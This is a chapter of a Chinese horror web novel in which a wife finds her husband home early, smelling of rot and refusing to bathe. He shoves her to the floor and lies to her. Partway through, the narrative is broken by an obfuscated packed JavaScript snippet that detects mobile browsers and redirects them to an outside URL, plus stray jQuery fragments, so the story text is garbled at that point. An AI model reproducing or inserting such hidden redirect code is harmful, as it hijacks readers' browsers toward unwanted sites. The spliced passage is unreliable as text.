第三章味道
一
第三天。
陈默下班的时候，天还亮着。
六点四十，太阳刚往下沉，西边的云烧成一片橘红色。她站在单元楼下，抬头看七楼的窗户。
灯亮着。
她愣了一下。
这三年，王志强从来没有比她早回来过。从来没有。最早也是九点以后，通常都是十一点、十二点，有时候直接凌晨。
现在六点四十，灯亮着。
陈默站在楼下，站了五秒，然后走进去。
电梯上行的时候，她把手伸进口袋，摸到那枚一分钱硬币。冰的，硬的。她攥了一下，又松开。
门开之前，她深吸了一口气。
钥匙捅进去，拧开，推门。
客厅里电视开着，声音不大，是某个新闻频道，主持人正在播报什么油价上涨的消息。沙发上躺着一个人——王志强，仰在那儿，啤酒肚挺着，一只手搭在肚子上，一只手拿着遥控器，眼睛盯着屏幕。
他回来了。
真的回来了。
六点四十，他回来了。
陈默站在门口，忘了换鞋。
王志强扭头看了她一眼，又扭回去继续看电视。
“愣着干嘛？进来啊。”
声音是平时的声音，不高不低，不冷不热。像什么都没发生过。
陈默换鞋，放下包，走进客厅。她从沙发背后绕过去，想进卧室换衣服，但走到沙发旁边的时候，她停住了。
有一股味道。
很淡，但确实有。
是那种……油味。不是油烟，是那种人身上出油的味道，汗和油脂混在一起，放了一整天，发出来的那种闷闷的、腻腻的味。
陈默站住了。
三年了，她从来没在王志强身上闻到过任何味道。没有汗味，没有烟味，没有酒味，没有任何人该有的味道。
但现在，有味道了。
她低头看他。
他还是那么躺着，啤酒肚一起一伏，眼睛盯着电视。新闻播完了，开始放广告，一个洗衣液的广告，一个女人举着白衬衫笑。
陈默张了张嘴。
话到嘴边，又咽回去。
她走进卧室，关上门，在床上坐了一会儿。
那味道还在她鼻子里。不是难闻，是不对。
三年没味道的人，突然有味道了——这比一直有味道更让人不舒服。
她坐了两分钟，站起来，又走出去。
王志强还在那儿躺着。遥控器换了个台，现在在放什么综艺节目，罐头笑声一阵一阵的。
陈默站在沙发旁边，看着他。
“王志强。”
他抬眼：“嗯？”
“你去洗个澡吧。”
王志强的眼睛从电视上移开，看了她一眼，又移回去。
“不洗。”
陈默站着没动。
那味道又飘过来。淡淡的，腻腻的，像什么东西放坏了。
“你身上有味儿了。”她说。
“什么味儿？”
“油味儿。你自己闻不到？”
王志强没说话，换了个姿势躺着，背对着她。
陈默盯着他的后背。那件衬衫是浅蓝色的，领口有点发灰，腋下有两块深色的汗渍。她以前从没注意过这些——或者说，以前没有，所以不用注意。
“去洗一个吧。”她又说了一遍。
“不去。”
“很快的，十分钟就好。”
王志强没理她。
陈默站在那儿，突然觉得有一股气从胸口往上顶。
不是愤怒，是说不清的东西。三年了，她等了三年，每天等他回来，等他早点回来，等他有一天能像正常人一样下班回家，等她不用一个人吃饭一个人睡觉一个人醒过来——
现在他回来了。
六点四十就回来了。
躺在沙发上看电视。
身上有味儿了。
让他洗个澡，他说不去。
就这么简单的一句话，她说第三遍了，他连头都不回。
陈默绕过沙发，走到他面前，低头看着他。
“王志强。”
他抬眼。
“去洗澡。”
“我说了不洗。”
“你身上真有味儿了。”
“有什么味儿？我自己闻不到。”
“你自己当然闻不到，你天天穿着这件衣服——”
“这衣服昨天刚换的。”
“不可能，”陈默说，“你腋下都有汗渍了。”
王志强的眼睛眯了一下。
就一下。
然后他坐起来，把遥控器往茶几上一扔，声音不大，但有点沉。
“你今天怎么回事？”
陈默没说话。
他也站起来。
站着的时候比她高半个头，啤酒肚几乎要贴到她身上。那股油味更浓了，闷闷的，腻腻的，像一块放了三天的肥肉。
“我就想让你洗个澡。”陈默说。
“我不洗。”
“为什么？”
“不为什么，就不洗。”
“总有个理由吧？”
王志强盯着她，没说话。
陈默也盯着他。
两个人就这么站着，电视里的罐头笑声一阵一阵往外冒。
“你以前也不洗，”陈默听见自己说，“三年了，你从来没洗过澡。”
王志强的脸色变了。
就一点点。眼角往下拉了一点，嘴角抿紧了一点。如果不盯着看，根本看不出来。
“你什么意思？”
陈默没回答。
她伸出手，抓住他的袖子。
“去洗澡。”
王志强甩开她的手。
“别碰我。”
陈默又抓住。
这次抓的是手腕。他的手腕很粗，很热，热的有点不正常。像发着低烧的那种热。
“你去洗。”
“陈默。”
“去洗。”
“陈默！”
他一把甩开她，用的力气比刚才大得多。
陈默往后踉跄了两步，小腿撞在茶几角上，整个人失去平衡，一屁股坐在地上。
疼。
小腿火辣辣地疼，屁股也疼，手掌撑地的时候蹭了一下，火辣辣的。
她坐在地上，抬头看他。
王志强站在那儿，低头看着她。脸上的表情不是愤怒，不是愧疚，是——
她看不懂。
“你又不是不知道，”他说，声音很低，像从喉咙深处挤出来的，“我从来不在晚上洗澡。”
陈默愣住。
从来不在晚上洗澡。
她不知道。
她真的不知道。
她连他洗不洗澡都不知道，怎么可能知道他什么时候洗？
但他说得好像这应该是常识。好像她应该知道。好像这是他们之间早就说好的事。
“那你什么时候洗？”她问。
王志强没回答。
他转过身，走回沙发，坐下，拿起遥控器，继续换台。
综艺节目没了，换成一个电视剧，男女主角在吵架，声音很大。
陈默还坐在地上。
小腿疼，手掌疼，屁股疼。她低头看小腿，蹭破了一层皮，正在往外渗血，细细的一道，像红线。
她盯着那道红线，看了很久。
然后她爬起来，走进卧室，关上门。
这次她没有靠着门滑坐下去。她走到床边，坐下，拿起手机，看了一眼时间。
19:14。
他六点四十回来的。她六点五十到家的。现在七点十四，二十四分钟，她坐在地上用了大概五分钟，刚才那一切，十九分钟。
十九分钟。
她等了他三年，他第一次早回来，十九分钟就把她推地上了。
陈默躺到床上，盯着天花板。
客厅里电视的声音隐隐约约传进来。男女主角吵完了，换成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387615|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片尾曲，又换成广告，又换成另一个电视剧。
她躺着，一动不动。
不知道过了多久，门开了。
王志强站在门口。
陈默没动，没扭头看他。
“陈默。”
她没应。
他走进来，走到床边，坐下。床垫陷下去一块，她往那边歪了一点。
“刚才我手重了，”他说，“没事吧？”
陈默没说话。
他伸手过来，想摸她的腿。
陈默躲开了。
他的手停在半空，顿了两秒，收回去。
“我就是不想洗，”他说，“你不知道，我这人有点毛病，晚上洗澡睡不着。”
陈默没说话。
“真的。以前没跟你说过，但就是这样。晚上洗了澡，躺床上翻来覆去，一夜睡不着。所以我都早上洗。”
陈默扭过头，看着他。
“你早上洗？”
“对。”
“我每天早上起来，你都在睡觉。”
王志强顿了一下。
“……我起得早，你还没醒。”
陈默盯着他。
他也盯着她。
三秒。五秒。十秒。
“行，”陈默说，“那你明天早上洗给我看。”
王志强的表情僵了一瞬。
就一瞬。
然后他笑了。
“行啊，”他说，“明天早上，我洗给你看。”
他站起来，走出去。
门没关。
客厅的灯光漏进来一条缝，切在地板上。
陈默躺在那儿，盯着那道光。
她不知道他说的是不是真的。
但她知道一件事——
他刚才笑的时候，嘴里有一股味道。
不是烟味，不是酒味，不是油味。
是别的。
像什么东西，放得太久，已经开始烂了。
二
那天晚上，陈默没睡。
她躺在床上，睁着眼，等天亮。
客厅里的电视开了一夜。王志强没进来。她偶尔能听见沙发响一声，脚步声走几步，又停住，又走几步，又停住。
和前两天一样。
凌晨三点多，她拿起手机，给王志强发了条微信：
“你睡了吗？”
客厅里没声音。
手机一直没响。
早上六点，天亮了。
陈默坐起来，下床，打开卧室门。
客厅里没人。
电视还开着，在放早间新闻。茶几上放着一个塑料袋，袋子里是早餐——豆浆、油条、茶叶蛋。还热着。
沙发垫上有一个印子。
很深。
像躺了一夜。
陈默站在那儿，盯着那个印子。
她等。
一分钟。两分钟。五分钟。
那个印子没有恢复。
她走过去，伸手按了按沙发垫。软的，弹的，正常的。她一松手，那个印子——慢慢、慢慢、慢慢地，恢复了一点，但还是有个坑。
像一个人躺过的地方。
像一个东西躺过的地方。
她站在那儿，看了很久。
然后她转身，走进洗手间。
洗手间里，一切如常。
毛巾是干的。浴巾是干的。地漏没有头发。沐浴露的刻度线，还是那个位置。
他早上没洗澡。
他骗了她，他早上也不会洗澡。
陈默盯着那瓶沐浴露，盯了很久。
然后她打开水龙头，用手捧了一捧水，扑在脸上。
水很凉。
她抬起头，看着镜子里的自己。
眼底的青黑更深了。眼眶凹进去。嘴唇干裂。
她看了一会儿。
然后她低下头，把脸埋进双手里。
水从指缝漏出来，一滴一滴，滴进洗手池。
---
第三章完